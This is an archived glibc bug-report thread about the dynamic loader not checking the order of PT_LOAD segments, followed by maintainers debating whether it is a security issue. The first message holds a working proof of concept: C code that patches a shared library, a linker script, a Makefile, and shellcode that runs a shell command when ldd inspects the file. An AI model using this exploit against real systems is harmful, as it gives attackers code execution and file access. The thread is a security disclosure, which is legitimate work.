[Bug dynamic-link/22851] New: ld library ELF load error

classic Classic list List threaded Threaded
8 messages Options
Reply | Threaded
Open this post in threaded view
|

[Bug dynamic-link/22851] New: ld library ELF load error

986882896 at qq dot com
https://sourceware.org/bugzilla/show_bug.cgi?id=22851

            Bug ID: 22851
           Summary: ld library ELF load error
           Product: glibc
           Version: unspecified
            Status: UNCONFIRMED
          Severity: normal
          Priority: P2
         Component: dynamic-link
          Assignee: unassigned at sourceware dot org
          Reporter: blackzert at gmail dot com
  Target Milestone: ---

ld-linux.so is known library and works as ELF file interpreter. It can load
libraries into process with 'dlopen' function or while loading ELF file
creating new process.
From here http://www.skyfree.org/linux/references/ELF_Format.pdf we can get
some info about PT_LOAD:

PT_LOAD
        The array element specifies a loadable segment, described by p_filesz
and p_memsz. The bytes from the file are mapped to the beginning of the memory
segment. If the segment’s memory size (p_memsz) is larger than the file size
(p_filesz), the ‘‘extra’’ bytes are defined to hold the value 0 and to follow
the segment’s initialized area. The file size may not be larger than the memory
size. Loadable segment entries in the program header table appear in ascending
order, sorted on the p_vaddr member.

What we need here is following constraint: Loadable segment entries in the
program header table appear in ascending order, sorted on the p_vaddr member.

Unfortunetly in current implementation of GNU Libc there is no any check for
this constraint.
GNU Libc use MAP_FIXED while loading PT_LOAD segments and man about mmap says:

MAP_FIXED
     Don't interpret addr as a hint: place the mapping at exactly that address.
 addr must be a multiple of the page size.  If the memory region specified by
addr and  len
     overlaps  pages  of  any  existing mapping(s), then the overlapped part of
the existing mapping(s) will be discarded.  If the specified address cannot be
used, mmap()
     will fail.  Because requiring a fixed address for a mapping is less
portable, the use of this option is discouraged.

here is important to know that usage of MAP_FIXED may change current process
mapping.

If attacker can ask ld library to load special crafted ELF file it can get code
execution. In this case he even dont need to create special constructor inside
this library or call any function from it - he can re-mmap ld library code with
his own and successfully execute it after execution of mmap syscall.

As Proof of Concept to this vulnerability I prepared exploit for ldd utility -
utility that know to not execute any third-party code and just showing needed
libraries and memory layout of them.

The same error present in the linux kernel code, I've already prepared patch
for it and will publish it soon.

normal usage:
blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main
        linux-vdso.so.1 =>  (0x00007ffca0bf6000)
        libevil.so => ./libevil.so (0x00007f5ade66d000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5ade2a3000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f5ade86f000)

specail crafted libevil.so just runs ‘cat /etc/passwd'
blackzert@crasher:~/aslur/tests/evil_elf$ ldd main
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin


PoC code:

#include <elf.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

off_t get_len(int fd)
{
   off_t length = lseek(fd, 0, SEEK_END);

   lseek(fd, 0, SEEK_SET);
   return length;

}


int get_file(char *evilname)
{
   int fd = open(evilname, O_RDWR);
   if (fd < 0)
   {
       printf("Failed to open\n");
       return -1;
   }
   return fd;
}

int align(int fd, size_t len, size_t value)
{
        char buffer[4096] = {0};
        size_t rest = value - (len & (value - 1));
        while ( rest > 4096) {
                write(fd, buffer, 4096);
                rest -= 4096;
        }
        write(fd, buffer, rest);
        return 0;
}


int extend_elf(int fd, Elf64_Phdr *new_heades, unsigned int new_count, char*
overlay, unsigned long overlay_len) {

   Elf64_Ehdr header = {0};

   int size = read(fd, &header, sizeof(header));
   if (size < sizeof(header))
   {
       printf("read failed\n");
       return -1;
   }
   if (header.e_ident[EI_CLASS] != ELFCLASS64)
   {
       printf("Not elf64\n");
       return -1;
   }

   if (header.e_phentsize != sizeof(Elf64_Phdr))
   {
       printf("unknown phdr struct\n");
       return -1;
   }
   unsigned long ph_size = header.e_phnum * header.e_phentsize;

   header.e_phnum += new_count;

   off_t off = lseek(fd, 0, SEEK_SET);
   if (off == (off_t)-1)
   {
       printf("bad ph_off\n");
       return -1;
   }
   size = write(fd, &header, sizeof(header));
   if (size != sizeof(header))
   {
       printf("failed to write header\n");
       return -1;
   }


   off = lseek(fd, ph_size + header.e_phoff, SEEK_SET);
   if (off == (off_t)-1)
   {
       printf("bad ph_off\n");
       return -1;
   }

   size = write(fd, new_heades, new_count*sizeof(Elf64_Phdr));
   if (size != new_count*sizeof(Elf64_Phdr))
   {
       printf("write failed, file corrupted. sorry\n");
       return -1;
   }
   off = lseek(fd, 0, SEEK_SET);
   if (off == (off_t)-1)
   {
        printf("failed go to start");
       return -1;
   }

   off = lseek(fd, 0, SEEK_END);
   if (off == (off_t)-1)
   {
       printf("failed to seek to end\n");
       return -1;
   }
   align(fd, off, new_heades[0].p_align);

   return 0;
}



char shellcode[4096];
unsigned long libc_size = 0x26000;
int main() {
   int scfd = get_file("shellcode.bin");
   off_t sc_len = get_len(scfd);
   read(scfd, shellcode, sc_len);

   int fd = get_file("libevil.so");
   if (fd < 0)
       printf("failed open\n");

   off_t off = get_len(fd);
   if (off == (off_t)-1)
   {
       printf("failed get len\n");
       close(fd);
       return -1;
   }

   Elf64_Phdr new_headers[2];

   new_headers[0].p_type = PT_LOAD; // segment with shellcode, will overwrite
ld r-x segment
   new_headers[0].p_flags = PF_X|PF_R|PF_W;
   new_headers[0].p_offset = off + (4096 - (4095&off));
   new_headers[0].p_vaddr = 0x400000;
   new_headers[0].p_paddr = 0;
   new_headers[0].p_filesz = libc_size;
   new_headers[0].p_memsz = 0x200000;
   new_headers[0].p_align = 4096;

   if ( ((new_headers[0].p_vaddr - new_headers[0].p_offset)
                & (new_headers[0].p_align - 1)) != 0 )
   {

       printf("ELF load command address/offset not properly aligned\n");
       return -1;
   }

   new_headers[1].p_type = PT_LOAD;
   new_headers[1].p_flags = PF_X|PF_R|PF_W;
   new_headers[1].p_offset = 0;
   new_headers[1].p_vaddr = 0x200000;
   new_headers[1].p_paddr = 0;
   new_headers[1].p_filesz = 0;
   new_headers[1].p_memsz = 0x200000;
   new_headers[1].p_align = 0x200000;

   int res = extend_elf(fd, (Elf64_Phdr*)&new_headers, 2, shellcode, sc_len);
   char buffer[4096];
   memset(buffer, 0x90, 4096);
   unsigned long size = libc_size;
   while(size > 4096)
   {
        write(fd, buffer, 4096);
        size -= 4096;
   }
   memcpy(buffer + 4095 - sc_len, shellcode, sc_len);
   write(fd, buffer, 4096);

   close(fd);
   return res;
}

This code adds to ‘libevil.so’ 2 new segments - one with shellcode that
overwrites r-x segment of ld and second to be last one.

To make everything happens, special linker script is needed:

OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64",
              "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)
SEARCH_DIR("=/usr/local/lib/x86_64-linux-gnu");
SEARCH_DIR("=/lib/x86_64-linux-gnu"); SEARCH_DIR("=/usr/lib/x86_64-linux-gnu");
SEARCH_DIR("=/usr/local/lib64"); SEARCH_DIR("=/lib64");
SEARCH_DIR("=/usr/lib64"); SEARCH_DIR("=/usr/local/lib"); SEARCH_DIR("=/lib");
SEARCH_DIR("=/usr/lib"); SEARCH_DIR("=/usr/x86_64-linux-gnu/lib64");
SEARCH_DIR("=/usr/x86_64-linux-gnu/lib");
SECTIONS
{
 . = 0x1000 + SEGMENT_START("text-segment", 0) + SIZEOF_HEADERS;
 .text           :
 {
   *(.text)
 }
 .rela.plt       :
   {
     *(.rela.plt)
   }
 .dynamic        : { *(.dynamic) }

 .got            : { *(.got) }
 .got.plt        : { *(.got.plt)  *(.igot.plt) }
  .data           : { *(.data) }

 /DISCARD/ : { *(.note.GNU-stack) *(.gnu_debuglink) *(.gnu.lto_*) }
}

this one just adds extra space to allow us extend program header of libevil.so
main.c:
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

extern int evil();

char buffer[16536];
int main() {
        evil();
        int fd = open("/proc/self/maps", 0);
        int size = read(fd, buffer, sizeof(buffer));
        if (size > 0)
                write(0, buffer, size);
        return 0;
}

evil.c:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int evil() {
        printf("Hello world!\n");
        return 0;
}

and Makefile
all:
        gcc -fPIC -shared evil.c -o libevil.so
        gcc main.c -levil -L. -o main -Wl,-rpath,./
        gcc make_evil.c -o make_evil -g
evil: all
        nasm -fbin shellcode.asm -o shellcode.bin
        gcc -fPIC -shared evil.c -T evil.script -o libevil.so
        ./make_evil
clean:
        rm main libevil.so

gdb:
        gdb /home/blackzert/kernel_experiments/glibc_build/elf/ld.so

list:
        /lib64/ld-linux-x86-64.so.2 --list ./libevil.so


shellcode.asm:
   bits    64

   push    59
   pop     rax              ; rax=sys_execve
   cdq                      ; penv=0
   mov     rcx, '/bin//sh'
   push    rdx              ; 0
   push    rcx              ; "/bin//sh"
   push    rsp
   pop     rdi              ; rdi="/bin//sh", 0
   ; ---------
   push    rdx              ; 0
   push    word '-c'
   push    rsp
   pop     rbx              ; rbx="-c", 0
   push    rdx              ; NULL
   jmp     l_cmd64
r_cmd64:                     ; command
   push    rbx              ; "-c"
   push    rdi              ; "/bin//sh"
   push    rsp
   pop     rsi              ; rsi=args
   syscall
l_cmd64:
   call    r_cmd64
   db 'cat /etc/passwd', 0

--
You are receiving this mail because:
You are on the CC list for the bug.
Reply | Threaded
Open this post in threaded view
|

[Bug dynamic-link/22851] ld library ELF load error

986882896 at qq dot com
https://sourceware.org/bugzilla/show_bug.cgi?id=22851

Ilya Smith <blackzert at gmail dot com> changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
                 CC|                            |blackzert at gmail dot com

--
You are receiving this mail because:
You are on the CC list for the bug.
Reply | Threaded
Open this post in threaded view
|

[Bug dynamic-link/22851] ld library ELF load error

986882896 at qq dot com
In reply to this post by 986882896 at qq dot com
https://sourceware.org/bugzilla/show_bug.cgi?id=22851

Florian Weimer <fweimer at redhat dot com> changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
             Status|UNCONFIRMED                 |NEW
   Last reconfirmed|                            |2018-02-19
                 CC|                            |fweimer at redhat dot com
     Ever confirmed|0                           |1
              Flags|                            |security-

--- Comment #1 from Florian Weimer <fweimer at redhat dot com> ---
Thanks for reporting this.

ldd is not intended to be executed on untrusted binaries, so this is not a
security vulnerability.

This is not the only issue with ldd.  Bug 20857 demonstrates that the initial
file mapping (and not just PT_LOAD segments) can override the dynamic linker.

(The PT_LOAD approach discussed here works reliably because the kernel does not
independently randomize the address of file mappings, even without MAP_FIXED.)

--
You are receiving this mail because:
You are on the CC list for the bug.
Reply | Threaded
Open this post in threaded view
|

[Bug dynamic-link/22851] ld library ELF load error

986882896 at qq dot com
In reply to this post by 986882896 at qq dot com
https://sourceware.org/bugzilla/show_bug.cgi?id=22851

--- Comment #2 from Ilya Smith <blackzert at gmail dot com> ---
Hello,

This bug is about bad parsing of ELF files, but not about position-dependent
executables.

The problem of https://sourceware.org/bugzilla/show_bug.cgi?id=20857 is
Constantly-defined address from ELF file header used to re-mmap existing
segments (libc in this case). This is attended more to kernel behaviour and
mmap itself, that allows to re-mmap existing mapping. Good description of this
problem could be found here: https://lwn.net/Articles/741335/
And this bug hopefully would be fixed when MAP_FIXED_SAFE will by applied. And
libc should also support this flag as well.

This bug is about how ld parse ELF file segments - it doesn't check order of
segments and compute total size of ELF file wrong in some cases. Exploiting ldd
is just an example of it and it has security impact.

As you said, ldd not intended to run untrusted files. But intended is not the
same as prohibited.

ldd will never ask's you if you sure what are you doing.

Here http://man7.org/linux/man-pages/man1/ldd.1.html it is said about security
of ldd:
 Security
       Be aware that in some circumstances (e.g., where the program speci‐
       fies an ELF interpreter other than ld-linux.so), some versions of ldd
       may attempt to obtain the dependency information by attempting to
       directly execute the program, which may lead to the execution of
       whatever code is defined in the program's ELF interpreter, and per‐
       haps to execution of the program itself.  (In glibc versions before
       2.27, the upstream ldd implementation did this for example, although
       most distributions provided a modified version that did not.)

That leaves a reasonable question - does 2.27 version of libc checks
interpreter name? If yes, is it safe? No, because libld can't parse ELF file's
properly.

ldd exploit is one of impacts. Here is another impacts:
• Obfuscation or anti-emulation:
  - Remapping the current ELF segment by the next loaded library
  - Code executed not only from the library entry point, constructors, or
export functions
• Cheating with binary-analysis tools:
  - rabin2 from radare2 crashed calling dlopen
• Maybe more?

And all these examples are about security. And this bug is also about security.

--
You are receiving this mail because:
You are on the CC list for the bug.
Reply | Threaded
Open this post in threaded view
|

[Bug dynamic-link/22851] ld library ELF load error

986882896 at qq dot com
In reply to this post by 986882896 at qq dot com
https://sourceware.org/bugzilla/show_bug.cgi?id=22851

Carlos O'Donell <carlos at redhat dot com> changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
                 CC|                            |carlos at redhat dot com

--- Comment #3 from Carlos O'Donell <carlos at redhat dot com> ---
(In reply to Ilya Smith from comment #2)
> And all these examples are about security. And this bug is also about
> security.

The dynamic loader assumes all binaries on disk are trusted. Therefore the
issue is a hardening feature (from the perspective of the glibc project) for
using untrusted binaries and must be balanced against performance. At present
we do nothing to harden the loader against untrusted binaries. To inspect
untrusted binaries you must use libelf or libbfd. Therefore this is marked
security-, it is not a security issue.

--
You are receiving this mail because:
You are on the CC list for the bug.
Reply | Threaded
Open this post in threaded view
|

[Bug dynamic-link/22851] ld library ELF load error

986882896 at qq dot com
In reply to this post by 986882896 at qq dot com
https://sourceware.org/bugzilla/show_bug.cgi?id=22851

Paul Pluzhnikov <ppluzhnikov at google dot com> changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
                 CC|                            |ppluzhnikov at google dot com

--- Comment #4 from Paul Pluzhnikov <ppluzhnikov at google dot com> ---
> If attacker can ask ld library to load special crafted ELF file it can get code execution

It seems to me that creating a specially crafted ELF is a complicated way to
achieve what can be *trivially* achieved by creating a DSO with an initializer
(DT_INIT).

If you can ask for "random" DSO to be loaded, then that DSO's initializer can
do *anything*, and you've already lost.

I think this bug should be closed as invalid.

--
You are receiving this mail because:
You are on the CC list for the bug.
Reply | Threaded
Open this post in threaded view
|

[Bug dynamic-link/22851] ld library ELF load error

986882896 at qq dot com
In reply to this post by 986882896 at qq dot com
https://sourceware.org/bugzilla/show_bug.cgi?id=22851

--- Comment #5 from Ilya Smith <blackzert at gmail dot com> ---
(In reply to Paul Pluzhnikov from comment #4)

> > If attacker can ask ld library to load special crafted ELF file it can get code execution
>
> It seems to me that creating a specially crafted ELF is a complicated way to
> achieve what can be *trivially* achieved by creating a DSO with an
> initializer (DT_INIT).
>
> If you can ask for "random" DSO to be loaded, then that DSO's initializer
> can do *anything*, and you've already lost.
>
> I think this bug should be closed as invalid.

This case just an example, you never know how exactly it will be used. DSO's
initialisers could be checked since everyone knows about it.

This bug is not invalid, since it is exists in the code and works as described.
You can not reject reality.

You may say "Risks of the bug exploitation are very low" and I agree. But you
can't say "there is no bug".

--
You are receiving this mail because:
You are on the CC list for the bug.
Reply | Threaded
Open this post in threaded view
|

[Bug dynamic-link/22851] ld library ELF load error

986882896 at qq dot com
In reply to this post by 986882896 at qq dot com
https://sourceware.org/bugzilla/show_bug.cgi?id=22851

Andreas Schwab <[hidden email]> changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
              Alias|                            |CVE-2019-1010023

--
You are receiving this mail because:
You are on the CC list for the bug.